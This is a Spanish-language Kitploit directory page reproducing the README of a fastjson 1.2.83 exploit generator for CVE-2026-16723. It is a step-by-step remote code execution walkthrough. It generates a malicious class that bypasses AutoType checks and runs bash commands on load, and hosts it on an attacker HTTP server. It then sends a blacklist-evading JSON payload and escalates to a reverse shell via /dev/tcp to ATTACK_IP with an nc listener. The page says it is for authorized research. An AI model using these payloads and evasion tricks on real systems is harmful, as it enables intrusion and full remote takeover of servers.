Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/cuttlefish520/fastjson1.2.83-genprobe2
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRed TeamingHerramienta de Acceso Remoto
GitHubcuttlefish520/fastjson1.2.83-genprobe2

FastJson1.2.83-GenProbe2

Kit de reproducción de CVE-2026-16723 - fastjson 1.2.83 jar: generador de payload de carga remota de clases (POC.class construido con ASM con @JSONType + ejecución en clinit)

Ver Repositorio
hace 1 mesAún no revisado
Compartir

FastJson 1.2.83 GenProbe2

Uso: para la reproducción de la vulnerabilidad CVE-2026-16723. Este repositorio es el generador de clases maliciosas (generador de payloads) para la cadena de carga remota de clases jar: de fastjson 1.2.83 — utiliza ASM para generar en tiempo de ejecución una clase con la anotación @JSONType que ejecuta comandos arbitrarios en <clinit>, y junto con el entorno de pruebas de CVE-2026-16723 (Spring Boot + fastjson 1.2.83) completa la reproducción íntegra desde "enviar el payload" hasta "ejecución del comando". Solo para verificación de vulnerabilidades e investigación defensiva en entornos autorizados.

Qué hace este archivo

GenProbe2.java no es el exploit en sí, sino el primer paso para generar el payload: emite POC.class, que empaquetas como un archivo jar sin extensión y colocas en un servidor HTTP; luego haces que el fastjson objetivo deserialice un nombre de clase que apunta a ese jar, y la JVM objetivo descargará y cargará remotamente POC mediante el protocolo jar:, disparando el bloque estático.

La clase generada tiene tres diseños deliberados, cada uno corresponde a sortear/evitar un obstáculo real:

Característica del artefacto generadoFunción
Anotación a nivel de clase @com.alibaba.fastjson.annotation.JSONType(orders = {"x"})Hace que la fase de escaneo de anotaciones de fastjson determine que la clase tiene hasJsonType, sorteando la validación de la lista blanca de AutoType (1.2.83 tiene autoType desactivado por defecto; las clases con @JSONType siguen otra rama de autorización)
En static {} (<clinit>) Runtime.getRuntime().exec(new String[]{"bash","-c",CMD})Se ejecuta al cargar la clase. Llamar a exec con la forma String[] equivale a bash -c CMD, por lo que cualquier sintaxis de bash en CMD —tuberías, redirecciones, $(), reverse shell, etc.— es válida (sin la limitación de tokenización de exec(String))
Nombre de clase interno = jar:http://IP:PORT/<jarName>!/<entryName> (URL con : / !)Cada vez que cambias jarName/entryName (p. ej. probe2/POC2) el nombre de clase interno se convierte en una cadena completamente nueva, sorteando la caché de clases con el mismo nombre de la JVM — el servicio objetivo puede recibir comandos distintos repetidamente sin reiniciarse

ASM no valida la legalidad del nombre de clase en visit; ClassWriter.COMPUTE_FRAMES se encarga de calcular los stack frames; la tabla de excepciones envuelve todo el bloque de ejecución de comandos (catch (Exception) {}), garantizando que un fallo de exec no haga que el cargador lance un error que lo exponga.

Flujo completo de reproducción de la vulnerabilidad (CVE-2026-16723)

0. Roles y requisitos previos

RolMarcador de posiciónDescripción
Máquina atacanteATTACK_IP / decimal ATTACK_IP_DECAloja el jar malicioso, envía el payload
Máquina objetivoTARGET:8080Spring Boot + fastjson 1.2.83
Jar del entorno de pruebasfastjson-cve202616723-0.0.1-SNAPSHOT.jarDebe ser la versión ya parcheada (ParserConfig.getGlobalInstance().setDefaultClassLoader(...))

ATTACK_IP_DEC es el entero decimal de la IP de la máquina atacante (192.168.1.1 → 3232235777); usar decimal evita la lista negra de literales de IP.

1. Escribir el comando a ejecutar

Crea cmd.txt en el directorio de trabajo del generador; la primera línea es el comando a ejecutar (el generador lo ejecuta con bash -c, admite |, >, $(), reverse shell). Primero haz una verificación mínima:

touch /tmp/CUSTOM_RCE_$(whoami)

Las líneas que comienzan con # se omiten; cuando no hay cmd.txt, el valor predeterminado es touch /tmp/PWNED_CVE-2026-16723.

2. Generar la clase maliciosa (requiere asm)

# 用法: java GenProbe2 <IP十进制> <端口> <输出目录> [jar名] [类名]
java -cp ".;lib\asm-9.6.jar" GenProbe2 ATTACK_IP_DEC 8888 out probe POC

Genera out\POC.class, nombre de clase interno = jar:http://ATTACK_IP:8888/probe!/POC, la consola imprimirá "se ejecutará el comando".

3. Empaquetar como un jar sin extensión y colocarlo en el directorio raíz de HTTP

cd out
jar cvf ..\probe POC.class

Tres requisitos estrictos:

  • El nombre del archivo remoto debe no tener extensión: debe llamarse probe, no probe.jar;
  • Debe ser un archivo, no una carpeta con el mismo nombre (una carpeta provocará un redireccionamiento 301 a HTML y el análisis fallará);
  • El nombre de la entrada dentro del jar (POC.class) debe coincidir con el entryName en el momento de la generación.

4. Iniciar el servicio HTTP y realizar una autocomprobación

python -m http.server 8888      # 根目录 = 存放 probe 的目录,保持运行
curl.exe -s -o NUL -w "%{http_code} %{size_download}\n" http://localhost:8888/probe   # 本机
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://ATTACK_IP:8888/probe # 靶机侧

Ambos lados deben mostrar 200 y el número correcto de bytes antes de continuar.

5. Iniciar el entorno de pruebas (máquina objetivo, en primer plano)

java -jar fastjson-cve202616723-0.0.1-SNAPSHOT.jar
# 看到 Tomcat started on port(s): 8080 后保持窗口不动

6. Enviar el payload

El mayor problema: PowerShell se come las comillas dobles del JSON, directamente -d '{"@type":...}' se convierte en {@type:...}, la máquina objetivo responde illegal identifier : @pos 1, ni siquiera se llega al paso de descargar el jar (no se ve ni una sola petición en la ventana HTTP).

La forma correcta: guardar el payload en un archivo y usar --data-binary "@archivo". payload.json:

{"@type":"jar:http:..ATTACK_IP_DEC:8888.probe!.POC","x":1}

注意这里的写法:点号代替斜杠和 .class —— jar:http:..IP:PORT.jar名!.类名 是合法 JSON,用于绕黑名单;fastjson 还原成资源路径 jar:http://IP:PORT/probe!/POC.class 后走 ClassLoader.getResourceAsStream() 下载。

curl.exe -s -X POST http://TARGET:8080/api/products/search `
  -H "Content-Type: application/json" `
  --data-binary "@payload.json"

Devuelve parse ok = fastjson se analizó correctamente (no equivale a una ejecución exitosa del comando, véase el paso 7).

7. Verificación (máquina objetivo)

ls -la /tmp/ | grep CUSTOM_RCE     # 期望 /tmp/CUSTOM_RCE_<user>

Al mismo tiempo, en la ventana HTTP del atacante aparecerá GET /probe (normalmente 2 veces: una para el escaneo de anotaciones y otra para la carga real). Los comandos sin eco solo pueden demostrar su ejecución exitosa mediante "archivo en disco / conexión de retorno / shell inversa".

8. Cambiar comando / cambiar puerto / explotación múltiple

La JVM solo carga una vez una clase con el mismo nombre, y <clinit> solo se ejecuta una vez; las solicitudes posteriores con el mismo nombre acceden a la caché. Dos soluciones:

  • A (sin reiniciar el entorno de pruebas): modificar cmd.txt, regenerar con un nuevo nombre del jar + nombre de clase (por ejemplo p2/POC2), empaquetar, colocar, y cambiar el payload a {"@type":"jar:http:..ATTACK_IP_DEC:8888.p2!.POC2","x":1};
  • B: reiniciar el entorno de pruebas, se vacía la caché de clases y el probe original puede volver a activarse.

Al cambiar de puerto (8888↔8889) hay que modificar los tres lugares a la vez: el parámetro de puerto al generar la clase, el puerto en el payload y el puerto real del servicio HTTP.

9. Shell inversa (avanzado)

Primera línea de cmd.txt:

bash -i >& /dev/tcp/ATTACK_IP/9999 0>&1

Máquina atacante a la escucha (Windows sin nc, usar WSL nc -lvnp 9999), luego repetir los pasos 2~6 para regenerar, desplegar y enviar (se recomienda cambiar el nombre de clase).

Regla de hierro: tres puntos deben coincidir exactamente

  1. El nombre de clase interno en el bytecode de la clase (fijado al generar con GenProbe2);
  2. La cadena restaurada del @type del payload;
  3. El puerto y el nombre de archivo del servicio HTTP.
Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    831
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    534
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    284
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    275

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →